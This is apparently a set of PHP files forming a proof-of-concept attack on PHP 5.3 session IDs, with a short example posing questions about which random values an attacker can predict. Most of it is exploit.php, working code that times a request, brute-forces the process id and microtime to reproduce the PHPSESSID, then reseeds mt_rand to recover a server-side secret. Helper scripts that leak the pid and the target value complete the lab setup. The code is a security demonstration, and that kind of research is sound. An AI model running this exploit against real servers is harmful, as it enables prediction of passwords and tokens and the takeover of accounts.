SessionId and randomness in PHP

example.php

<?php
/**
 * Starts a PHP session and dump a random number
 */
session_start();

// do some stuff...

$password = mt_rand();
$otherRandomToken = rand();
$nettePass = Nette\Utils\Strings::random();

// Question 1: which of these is/are random?
// Question 2: which of these is/are unpredictable by an attacker?

// Answer 1: all three
// Answer 2: none, all can be recovered only from sessionId, precisely (i.e. attacker won't even have to try several possibilities)

exploit.php

<?php
/**
 * Guess parameters used for php session id
 * 1. send a request which starts new session, measure timing
 * 2. recover rand environment
 * 3. guess random number generated
 *
 * Assumptions:
 *  - precisely synced clock with server
 *  - requests served by the same php process, which is also freshly spawned
 *  - we know pid of the php (not necessary, but reduces entropy by 15bits)
 *  - session.entropy_length=0 - default on PHP 5.3
 *
 * To try:
 *   php -dsession.entropy_length=0 -S 0.0.0.0:8080
 *
 * NOTE this exploit uses slightly modified PHP, so that I don't need to re-implement several internal functions.
 *  PHP modification adds function my_lcg_seed(...), which modifies internal PHP variables ;)
 */

error_reporting(E_ALL);


$baseUrl     = 'http://localhost:8080/helpers/';
$url         = $baseUrl . 'sess.php';
$remoteAddr  = '';



// 1. send a request which starts new session, measure timing
{
	$time_r1a = microtime(true);
	$fp = fopen($url, 'r');
	$time_r1b = microtime(true);
	$time_d1 = $time_r1b -  $time_r1a;

	// parse cookies
	$cookies = array();
	$meta = stream_get_meta_data($fp);
	foreach($meta['wrapper_data'] as $header) {
		if (preg_match('/Set-Cookie: ([^=]+)=([^;]+)/', $header, $match)) $cookies[$match[1]] = $match[2];
	}
	$sessionId = $cookies['PHPSESSID'];

	$data1 = stream_get_contents($fp);
	$randomToken = trim($data1);
}
printf("timing 1:\t%.6f - %.6f (duration %d us)\n", $time_r1a, $time_r1b, $time_d1 * 1e6);
echo "sessionId:\t$sessionId\n";
echo "secret random:\t$randomToken (suppose I dont know it)\n";



// 2. recover rand environment
{
	// simplification: if you know the pid, e.g. from apache's server-status page
	$pid_ = file_get_contents($baseUrl . 'pid.php'); // fake it

	$pid       = $pid_ ? intval($pid_) : range(1024, 32767);
	$time      = range($time_r1a /*+ $time_d1 / 4*/, $time_r1b /*- $time_d1 / 4*/, 1e-6); // TODO: rather a generator
	$delay1    = range(0, 5);   // delay between first microtime (in php_session_create_id) and lcg_seed
	$delay2    = range(0, 20); // delay in lcg_seed

	// options needs to be tested
	{
		$p1 = count((array) $pid);
		$p2 = count((array) $time);
		$p3 = count((array) $delay1);
		$p4 = count((array) $delay2);

		$numPossibilities = $p1 * $p2 * $p3 * $p4;
		echo "cracking $numPossibilities possibilities ($p1 * $p2 * $p3 * $p4) for $sessionId\n";
	}

	// start cracking
	$numFound = $numTried = 0;
	$searchStart = microtime(true);
	foreach ((array) $pid as $pid_) {
		foreach ((array) $time as $microtime0_) {
			foreach ((array) $delay1 as $delay1_) {
				foreach ((array) $delay2 as $delay2_) {
					$numTried++;
					$s = my_php_session_create_id($remoteAddr, $pid_, $microtime0_, $delay1_, $delay2_);

					if ($s === $sessionId) {
						echo "Found $s: pid=$pid_, microtime0=$microtime0_, delay1=$delay1_, delay2=$delay2_, buf=$sess_buf\n";
						$numFound++;
						break 4;
					}
				}
			}

		}
	}
	$searchEnd = microtime(true);
	if ($numFound) {
		echo "found: after $numTried/$numPossibilities tries\ntime taken: ", $searchEnd - $searchStart, "\n";
	} else {
		echo "not found\n";
		return;
	}
}



// 3. guess random number generated by mt_rand
{
	my_lcg_seed(floor($microtime0_), $pid, ($microtime0_ * 1e6 % 1e6) + $delay1_, $delay2_);
	lcg_value(); // called within session
	lcg_value(); // FIXME: dunno where is this called!
	$seed = (floor($microtime0_) * $pid_) ^ (1e6 * lcg_value());
	echo "mt_rand seed:\t$seed\n";
	mt_srand($seed);

	$rand = mt_rand();
	echo "secret found:\t$rand\n";

	echo ($rand == $randomToken) ? "OK, I got the secret!" : "Failed, the secret doesnt match :(", "\n";
}



/**
 * Deterministic session id generator
 */
function my_php_session_create_id($remote_addr, $pid, $microtime0, $d1, $d2) {
	$t = (int) $microtime0;
	$u = $microtime0 * 1e6 % 1e6; // us

	my_lcg_seed($t, $pid, $u + $d1, $d2);
	$lcg = lcg_value(true);
	$GLOBALS['sess_buf'] = $buf = sprintf("%.15s%ld%ld%0.8F", $remote_addr, $t, $u, $lcg * 10);
//	echo $buf, "\t", md5_sess($buf), "\n";

	return md5_sess($buf);
}

/**
 * Emulate md5 hash which is in session
 * FIXME: works only for 4bits per char (session.hash_bits_per_character)
 * @param  $s
 * @return string
 */
function md5_sess($s) {
	return preg_replace('/(.)(.)/', '$2$1', md5($s));
}

helperspid.php

<?php
/**
 * Helper to speed up the test
 * (but pid can be recovered easily by other means)
 */
echo posix_getpid();

helperssess.php

<?php
/**
 * Starts a PHP session and dump a random number
 */
session_start();

echo mt_rand(); // this would be saved somewhere on server side; for simplicity, provide it to the user, so he can check if he was successful

pid.php

<?php
/**
 * Helper to speed up the test
 * (but pid can be recovered easily by other means)
 */
echo posix_getpid();

sess.php

<?php
/**
 * Starts a PHP session and dump a random number
 */
session_start();

echo mt_rand(); // this would be saved somewhere on server side; for simplicity, provide it to the user, so he can check if he was successful